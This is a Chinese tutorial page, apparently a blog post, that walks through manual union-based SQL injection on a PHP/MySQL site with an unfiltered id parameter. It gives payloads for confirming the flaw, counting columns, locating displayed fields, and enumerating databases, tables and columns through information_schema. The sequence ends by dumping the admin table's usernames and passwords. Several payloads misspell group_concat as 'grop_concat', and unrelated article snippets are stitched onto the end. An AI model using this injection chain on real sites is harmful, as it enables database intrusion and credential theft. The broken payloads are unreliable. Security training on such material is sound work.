php mysql 注入基本過程

2022-07-08 03:09:07 字數 4087 閱讀 9213

當mysql版本》5.0時我們只需要訪問information_schema庫即可查詢資料庫的相關概要資訊,

而對於<5.0的版本則需要爆破,今天我們測試的環境是mysql 5.5.40,對於小於5.0的mysql不建議手工測試,

可以使用slqmap等注入工具輔助,成功率在於字典的大小。

在mysql中,把 information_schema 看作是乙個資料庫,確切說是資訊資料庫。

其中儲存著關於mysql伺服器所維護的所有其他資料庫的資訊。

如資料庫名,資料庫的表,表欄的資料型別與訪問權 限等。

測試環境:id並沒有進行任何過濾處理從而造成典型的get數字型注入

1.驗證注入:

and 1=1

url: and 1=1

sql語句:select * from article where id='9 and 1=1'

返回正常

and 1=2

url: and 1=2

sql語句:select * from article where id='9 and 1=2'

出錯2.判斷字段數:

2.1order by查詢

url: order by 1,2,3,4

sql語句:select * from article where id = 90 order by 1,2,3,4

order by查詢:order by在sql語句中是對結果集的指定列進行排序,

比如我們想讓結果集按照第一列排序就是 order by 1 按照第二列排序 order by 2 依次類推,

按照這個原理我們來判斷他的字段數,如果我們按照他的第1列進行排序資料庫會返回正常,

但是當我們按照第100列排序,但是資料庫中並不存在第100列,從而報錯。

如:當我們測試到7時資料庫報錯,說明該錶只有6個字段

2.2union select 聯合查詢

url: union select null,null,null,null

sql語句:select * from article where id = 90 union select null,null,null,null

union select 聯合查詢:可以用於乙個或多個select的結果集,但是他有乙個條件,

就是兩個select查詢語句的查詢必須要有相同的列才可以執行,利用這個特性我們可以進行對比查詢,

也就是說當我們union select的列與它查詢的列相同時,頁面返回正常。

如:當字段為6個時頁面返回正常,而大於或小於欄位數時都會報錯。

解決兩個小問題:

問題一:大部分程式只會呼叫資料庫查詢的第一條返回(我們這個也是),而通過聯合查詢出的資料中,

我們想看到的資料是在第二條中,如果我們想看到我們想要的資料有兩種方法,第一種是讓第一條資料返回假,

第二種是通過sql語句直接返回我們想要的資料。

方法一:我們讓第乙個查詢的結果始終為假

url: and 1=2 union select null,null,null,null,null,null

sql語句:select * from article where id = 9 and 1=2 union select null,null,null,null,null,null

結果:返回為什麼什麼也沒有呢 因為我們的第二個查詢中並沒有查詢到什麼 返回為null 自然就什麼也沒有了

我們把語句放在mysql中看一下返回結果:

方法二:通過limit語句,limit在mysql中是用來分頁的,我們也可以通過他拿到我們想要的結果集

url: and 1=2 union select null,null,null,null,null,null limit 1,1

sql語句:select * from article where id = 9 and 1=2 union select null,null,null,null,null,null limit 1,1

返回也是空,同上面結果一樣

問題二:哪個列中的資料是在頁面中顯示出來的,可能有一些列中的資料只是用於後台程式對資料處理使用,

並不會在前台顯示,所以我們需要判斷哪個字段我們可以看到。如圖,我們通過數字代替了null進行查詢,

確定了2,3,4,5 四個字段可以在頁面中顯示。

回答一下為什麼我們不一開始就是用數字,因為union select 不僅要求列的數量相同,同時資料型別也要相似。

url: and 1=2 union select 1,2,3,4,5,6 limit 1,1

sql語句:select * from article where id = 9 and 1=2 union select 1,2,3,4,5,6 limit 1,1

3.查詢庫名:

這裡我們直接使用mysql自帶函式database()查詢 得到庫名:test

url: and 1=2 union select 1,database(),3,4,5,6 limit 1,1

sql語句:sql語句:select * from article where id = 9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1

結果:顯示出test

4.查表名:

這裡就用到了我們一開始說的information_schema庫,查表名我們主要用到的是tables表。

這裡我們用到了group_concat它可以返回查詢的所有結果,因為我們需要通過命名判斷該我們需要的敏感資料。

這裡我們的目標是admin表。

url: and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'

sql語句:sql語句:select * from article where id = 9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'

結果:顯示出所有表名,第乙個為admin

5.查字段:

這裡同樣使用information_schema庫,這裡使用的是columns表。得到欄位id,username,password

url: and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'

sql語句:sql語句:select * from article where id = 9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'

結果:id,username,password

6.查資料:

最終目標就出來啦!

url:url: and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin

sql:sql語句:sql語句:select * from article where id = 9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin

結果就出來了

PHP mysql注入的基本過程

1 驗證注入 and 1 1 url and 1 1 sql語句 select from article where id 9 and 1 1 返回正常 and 1 2 sql語句 select from aritcle where id 9 and 1 2 返回報錯 2 判斷字元段數 order ...

mysql注入頁面 php mysql注入頁面實現

首先來借鑑一下注入點,以往的注入點是這樣的典型的數字型注入。id get id 獲取get方式傳過來的值並賦值給變數 既然是注入那麼肯定要運算元據庫。con mysql connect 127.0.0.1 root root 使用connect這個函式來連線資料庫,然後賦值給變數,connect這個...

php mysql注入環境搭建

php mysql注入環境搭建需要資料如下 1.安裝phpmystudy 自定義安裝好phpmystudy,啟動 執行phpmystudy 在phpmystudy安裝路徑下www目錄建立一下資料夾test,3.資料接受 建立資料庫,注入傳遞引數到資料庫 使用者名稱密碼都是root 建立乙個表列資料,...